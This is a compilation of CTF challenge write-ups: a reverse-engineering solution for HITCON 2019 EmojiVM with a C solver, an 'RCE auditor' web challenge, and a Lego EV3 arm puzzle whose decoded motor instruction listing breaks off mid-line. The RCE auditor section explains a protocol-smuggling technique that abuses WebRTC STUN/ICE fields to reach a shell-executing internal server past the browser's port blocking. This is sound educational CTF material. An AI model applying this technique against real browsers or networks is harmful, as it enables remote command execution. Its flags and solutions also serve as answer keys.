P.S. Of course, [turns out](https://tuanlinh.gitbook.io/ctf/seccon-2019-qualification#ppkeyboard) it's not necessary to resort to guessing to solve this task. One could simplyuse the brain, read the `midiInOpen` manual, reverse engineer the callbackthat's passed to it, and figure out the logic explained above. But why wouldanyone in their mind do that? /s |
# HITCON CTF Quals - 2019
## Reverse / 187 - EmojiVM
> A simple VM that takes emojis as input! Try figure out the secret!>>> Author: bruce30262>> 77 Teams solved.
### Solution
By [@jaidTw](https://github.com/jaidTw)
Reverse the binary and found that it read the source file then load it into `std::wstring`. It picks a `wchar_t` from the code at once to parse as an opcode.
Here's the type of all opcodes, we named it based on guessing its functionality.* `NOP` * `ADD`, `SUB`, `MUL`, `MOD`, `XOR`, `AND`, `LT`, `EQ` : `op1 op op2`* `JMP` : `ip = op`* `JNZ`, `JZ` : `if(op1 cond 0) ip = op2`* `PUSH`, `POP`* `MVGPTRIO`, `WRGPTRIO` : Read/Write a byte to `GPTR[op1][op2]`* `ALLOC`, `FREE` : Allocate/Release a type of space called "GPTR", at most 10 chunks, each size not exceeding 0x5DC.* `RDSTRI`, `PRSTRI` : Read/Write `GPTR[op]`* `DMPSTK` : Dump stack from top* `PRINT` : Print stack top as number* `EXIT`
This is a classical stack machine, operation will pop the stack to get operands, and push the result back after. All instructions are encoded as a single `wchar_t` except `PUSH`, which will additionally extract one more `wchar_t` behinds and push it onto the stack.
Then, we found there was a piece of code setting some kind of mapping during the initialization. After testing, we knew that it's the mapping of Emoji -> Opcode.There was another mapping below, which is for Emoji -> Number.
After understanding how it works, we can build the [disassembler](../evd) and [assembler](../evas).Then we disassemble `chal.evm` and mark the byte offset of each instruction to get [chal.d](./chal.d) for reading.
```6808 PUSH 1;6810 RDSTRI;```
The `RDSTRI` at 6810 is reading our input. So we can split the code here. The part before is for initialization and printing messages, and the part after will check our flag. We keep decompile it manually to get [tmp2.d](tmp2.d)。
After printing the message, it allocates 2 arrays.```GPTR[2] = [24, 5, 29, 16, 66, 9, 74, 36, 0, 91, 8, 23, 64, 0, 114, 48, 9, 108, 86, 64, 9, 91, 5, 26, 0]GPTR[4] = [142, 99, 205, 18, 75, 88, 21, 23, 81, 34, 217, 4, 81, 44, 25, 21, 134, 44, 209, 76, 132, 46, 32, 6, 0]```There are some kinds of transformation after reading the input.```7407 i = 0; do {7408 off = i % 4;7425 if(off == 0) GPTR[3, i] = GPTR[1, i] + 30;7474 else if(off == 1) GPTR[3, i] = 7 ^ (GPTR[1, i] - 8);7527 else if(off == 2) GPTR[3, i] = ((GPTR[1, i] + 44) ^ 68) - 4;7580 else if(off == 3) GPTR[3, i] = (GPTR[1, i] ^ 101) ^ (172 & 20)7633 i += 17658 } while(i < 24)```the result will be compared to `GPTR[4]`, and if they are equal, input XOR `GPTR[2]` will be printed out, which is the flag.```8075 i = 08084 off = 0 do {8093 if(GPTR[3, i] == GPTR[4, i]) {8135 off += 1; } else {8160 off -= 1; }8179 i += 1;8192 } while(i < 24)8346 if(off != 24);8385 GOTO @fail;8407 i = 0; do {8429 GPTR[2, i] = GPTR[1, i] ^ GPTR[2, i];8437 i += 1;8458 while(i < 24);8534 GOTO @correct;```Thus, we can get the input by doing the inverse of transformation at 7407 on `GPTR[4]`.```c#include <stdio.h>#include <stdlib.h>
int a[] = {24, 5, 29, 16, 66, 9, 74, 36, 0, 91, 8, 23, 64, 0, 114, 48, 9, 108, 86, 64, 9, 91, 5, 26, 0};int b[] = {142, 99, 205, 18, 75, 88, 21, 23, 81, 34, 217, 4, 81, 44, 25, 21, 134, 44, 209, 76, 132, 46, 32, 6, 0};int c[24];
int main(void) { for(int i = 0; i < 24; ++i) { if(i % 4 == 0) { c[i] = b[i] - 30; } else if(i % 4 == 1) { c[i] = (b[i] ^ 7) + 8; } else if(i % 4 == 2) { c[i] = ((b[i] + 4) ^ 68) - 44; } else if(i % 4 == 3) { c[i] = (b[i] ^ (172 & 20)) ^ 101; } putchar((c[i]) & 0xFF); }}``````$ gcc sol.c -o sol$ ./solplis-g1v3-me33-th3e-f14g$ ./sol | ./emojivm ./chalevm************************************** ** Welcome to ** EmojiVM ?????? ** The Reverse Challenge ** **************************************
Please input the secret: ?hitcon{R3vers3_Da_3moj1}``` |
## Challenge Information
- Name: RCE auditor- Type: Web- Description:
```Chrome has retired the XSS Auditor, but how about the RCE Auditor? The evil `eval_server` is listening on `127.0.0.1:6666`, but RCE Auditor protects us.```
- Files provided: `docker/user/eval_server.c`- Solves: 1 / 720
## Build
```docker-compose builddocker-compose up
# attach bash for debuggingdocker psdocker exec -it <CONTAINER ID> bash```
## Writeup
The internal server listening on `localhost:6666` will read from inputs and execute in shell line by line. However, Chromium (and Firefox) will [block any access to port 6666](https://superuser.com/a/188070) due to `ERR_UNSAFE_PORT`. It's designed to protect users from protocol smuggling attacks.
Thus, HTTP-based request (XHR/fetch/html) will fail to be sent. We have to leverage other protocols. Though Chromium supports `ftp`, it's too difficult to abuse `ftp` for protocol smuggling.
Nowadays, modern browser supports [WebRTC API](https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API). This API aims for establishing peer-to-peer connection. During the negotiation, [STUN](https://en.wikipedia.org/wiki/STUN) protocol is used to pick up [ICE candidates](https://en.wikipedia.org/wiki/Interactive_Connectivity_Establishment).
However, it's not trivial.
Specifying username and password in initializing WebRTC TURN server will not work, because the TURN handshake has considered this protocol smuggling attack.
1. Though username and password is controllable, it's not the first packet sent from the browser.2. Unless the browser receives a valid response, it will not send this authentication packet containing username and password.3. We cannot control any byte in the first handshake packet.
STUN server will not work either. The reason is the same as below.
Thus, we have to first establish a valid STUN protocol, and then somehow send the packet to our target. The exploit utilizes ICE candidate and `ice-ufrag` (or `ice-pwd`) in [RFC 5245](https://tools.ietf.org/html/rfc5245) to control part of the packet. `ice-ufrag` and `ice-pwd` are used for authentication to an ICE candidate server.
For full exploit, please see `exploit` directory.
## Postscript
The behavior of blocking unsafe port is interesting. One day I created a test Python server on `0.0.0.0:6666`, I found that the browser itself blocked me from accessing.
For WebRTC part, [it begins to follow CSP connect-src policies](https://github.com/w3c/webrtc-nv-use-cases/issues/35) recently. (This is [one of the challenge in RCTF](https://github.com/zsxsoft/my-ctf-challenges/tree/master/rctf2019/jail%20%26%20password#jail)) Then I notice that STUN protocol is not a HTTP protocol. Can we abuse this for something? This challenge just combines the two idea. |
# HITCON CTF Quals - 2019
## Misc / 221 - EV3 Arm
> >> https://youtu.be/6Hb4KEqtboI>> [ev3_arm-17958868466f3801c4926675e13863b838e8e7cc.rbf](http://hitcon-2019-quals.s3-website-ap-northeast-1.amazonaws.com/ev3_arm-17958868466f3801c4926675e13863b838e8e7cc.rbf)>> Author: Jeffxx>> 48 Teams solved.
### Solution
By [@chuanchan](https://github.com/chuanchan1116)
The file provided is a binary that runs on Lego Mindstorms EV3. Using [this website](http://ev3treevis.azurewebsites.net/) to get a list of readable instructions. The Lego Mindstorms EV3 has 4 ports to connect to the motor. If you watch the video closely and compare to the picture provided in the description, you'll see that ports B connects to motor lifting or striking the pen, port A connects to motor for vertical stroke, and port C connects to motor for horizontal movements.
Comparing the instructions with the video, it's easy to speculate that `port_motor: B | rotations: 35 | speed: -15` strikes the pen, `port_motor: A | rotations: 720 | speed: -75` creates a stroke about height of `h`, `port_motor: C | rotations: 2 | speed: 70` create a stroke about width of `h`. Everytime a character is written, the pen will reset to the left top corner for the next letter. Trying to manipulate the instructions manually, and you will get the flag.
`flag:hitcon{why_not_just_use_the_printer}`
Instructions decoded are as follow
```ev3_arm ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: 75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 //h ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 180 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 180 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 //i ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 90 | speed: 75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 450 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 //t ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 4 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 //c ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 3.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 420 | speed: 75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 //o ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 300 | speed: 75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 320 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 400 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 420 | speed: 75 ├─ FORK objectid: 3 │ └─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 60 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 120 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 480 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 //n ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 660 | speed: 75 ├─ CommentBlock ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 0.5 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 300 | speed: -75 ├─ FORK objectid: 5 │ ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 0.3 | speed: -90 │ └─ Motor.Rotations brake: 1 | port_motor: C | rotations: 0.3 | speed: 90 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 120 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 300 | speed: -75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 0.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 //{ ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ FORK objectid: 7 │ └─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2.2 | speed: 35 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: 75 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 420 | speed: 75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 //w ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 300 | speed: 75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: 75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 //h ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ FORK objectid: 9 │ └─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2.2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 420 | speed: 75 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 600 | speed: -75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 0.75 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 //y ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 0.75 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 900 | speed: 75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 //_ ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 400 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 420 | speed: 75 ├─ FORK objectid: 10 │ └─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 60 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 120 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 480 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 700 | speed: 75 //n ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 3.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 420 | speed: 75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 300 | speed: 75 //o ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 90 | speed: 75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 450 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 //t ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 //_ ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 180 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 180 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: -75 ├─ FORK objectid: 12 │ └─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 180 | speed: 25 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 900 | speed: 75 //j ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 400 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 120 | speed: 75 ├─ FORK objectid: 15 │ └─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 60 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 120 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 480 | speed: 75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 280 | speed: 75 //u ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 3.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ FORK objectid: 17 │ └─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: -60 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 80 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: -60 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 //s ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 90 | speed: 75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 450 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 //t ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 //_ ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 400 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 120 | speed: 75 ├─ FORK objectid: 19 │ └─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 60 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 120 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 480 | speed: 75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 280 | speed: 75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 3.5 | speed: 70 //u ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ FORK objectid: 21 │ └─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: -60 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 80 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: -60 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 //s ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 540 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 240 | speed: 75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 480 | speed: -75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 780 | speed: 75 //e ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 //_ ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 90 | speed: 75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 450 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 //t ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: 75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 //h ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 540 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 240 | speed: 75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 480 | speed: -75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 780 | speed: 75 //e ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ 